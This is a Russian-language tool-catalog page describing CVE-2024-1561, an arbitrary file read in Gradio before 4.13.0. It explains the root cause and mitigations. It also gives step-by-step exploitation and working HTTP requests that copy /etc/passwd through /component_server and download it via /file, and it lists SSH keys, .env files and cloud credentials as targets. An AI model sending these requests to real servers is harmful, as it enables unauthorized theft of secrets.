Skip to content
KitploitKITPLOIT
ИнструментыБлог
Отправить
ИнструментыБлог
Отправить

Инструменты для хакинга, пентеста и кибербезопасности — ваш арсенал защиты!

Kitploit — это каталог инструментов для хакинга, кибербезопасности и пентестинга. Находите последние обновления проектов для поиска уязвимостей, анализа систем, автоматизации тестирования и усиления вашей безопасности.

··Ленты·Контакты·Конфиденциальность·© 2026 Kitploit

Каталог инструментов

Категории

Все категории
Loading categories
CVE-2024-1561 — CVE-2024-1561 - Gradio Arbitrary File Read | Kitploit
Инструменты/GitHubGitHub/k3ystr0k3r/cve-2024-1561
Vulnerability AnalysisExploitationWeb Application ExploitationInformation GatheringPenetration TestingLearning & Education
GitHubk3ystr0k3r/cve-2024-1561

CVE-2024-1561

CVE-2024-1561 - Gradio Arbitrary File Read

Репозиторий
1 месяц назадЕщё не проверено

Популярное

Смотреть все →

Откройте для себя самые используемые инструменты нашего сообщества.

Изучить все инструменты

Просмотрите нашу коллекцию инструментов

Смотреть все инструменты →
Поделиться

CVE-2024-1561 - Произвольное чтение файлов в Gradio

CVE-2024-1561 — это уязвимость произвольного чтения файлов, затрагивающая Gradio версий до 4.13.0. Gradio — популярный Python-фреймворк, используемый для быстрого создания веб-интерфейсов для моделей машинного обучения и AI-приложений.

Уязвимость существует из-за того, что конечная точка /component_server не ограничивает должным образом, какие методы внутреннего класса Component могут быть вызваны. Злоумышленник может злоупотребить этим поведением для вызова методов, которые никогда не предназначались для доступа через HTTP.

Один из таких методов, move_resource_to_block_cache, позволяет скопировать файл из локальной файловой системы во временный кеш-каталог Gradio. После копирования файл становится доступным через конечную точку /file, что позволяет злоумышленнику получить его содержимое.

Хотя уязвимость не предоставляет прямого удалённого выполнения кода, она может раскрыть чувствительные файлы с сервера и может быть использована для сбора учётных данных, конфигурационных файлов, API-ключей, токенов или другой информации, полезной для дальнейших атак.


Затронутые версии

  • Gradio < 4.13.0

Версии 4.13.0 и новее содержат необходимые проверки безопасности для предотвращения произвольного вызова методов.


Первопричина

Проблема связана с недостаточной валидацией в конечной точке /component_server.

Вместо ограничения запросов безопасным списком вызываемых функций Gradio позволяло злоумышленникам задавать произвольные имена методов, принадлежащих экземпляру компонента.

Поскольку внутренний метод:

root@kitploit:~
move_resource_to_block_cache()

принимает на вход путь в файловой системе, злоумышленник может указать приложению кешировать любой читаемый файл на сервере.

После кеширования файл становится доступным через обычную функциональность раздачи файлов Gradio.


Процесс эксплуатации

Успешная атака обычно включает следующие шаги:

  1. Запрос к конечной точке /config.
  2. Получение допустимого ID компонента.
  3. Отправка запроса к /component_server.
  4. Вызов метода move_resource_to_block_cache.
  5. Указание пути к целевому файлу (например, /etc/passwd).
  6. Получение временного пути кеша в ответе сервера.
  7. Загрузка закешированного файла через конечную точку /file.

Этот процесс позволяет удалённо получить любые файлы, доступные для чтения процессу Gradio.


Пример запроса

root@kitploit:~
POST /component_server HTTP/1.1
Host: target
Content-Type: application/json

{
    "component_id": "3",
    "data": "/etc/passwd",
    "fn_name": "move_resource_to_block_cache",
    "session_hash": "aaaaaaaaaaa"
}

В случае успеха Gradio возвращает расположение закешированного файла.

Затем злоумышленник может запросить:

root@kitploit:~
GET /file=/tmp/gradio/<cached-file>/passwd HTTP/1.1
Host: target

чтобы получить содержимое.


Влияние на безопасность

Успешная эксплуатация может позволить злоумышленнику прочитать чувствительные файлы, включая:

  • /etc/passwd
  • Приватные SSH-ключи
  • Файлы окружения (.env)
  • API-токены
  • Облачные учётные данные
  • Файлы конфигурации приложения
  • Учётные данные базы данных
  • Исходный код
  • Секреты аутентификации

Влияние зависит от привилегий приложения Gradio.


Меры по смягчению

Для устранения этой уязвимости:

  • Обновите Gradio до версии 4.13.0 или новее.
  • Избегайте прямого доступа к приложениям Gradio из публичного интернета.
  • По возможности требуйте аутентификацию.
  • Ограничьте доступ с помощью обратного прокси или брандмауэра.
  • Запускайте Gradio с минимально необходимыми привилегиями.
  • Избегайте хранения чувствительных учётных данных в местах, доступных процессу приложения.

Ссылки

  • CVE: https://nvd.nist.gov/vuln/detail/CVE-2024-1561
  • Патч: https://github.com/gradio-app/gradio/pull/6884

Отказ от ответственности

Данный репозиторий предоставлен исключительно для образовательных целей, исследований безопасности и авторизованного тестирования на проникновение. Всегда получайте явное разрешение перед тестированием систем, которые вам не принадлежат или на которые у вас нет разрешения.

Скачать инструмент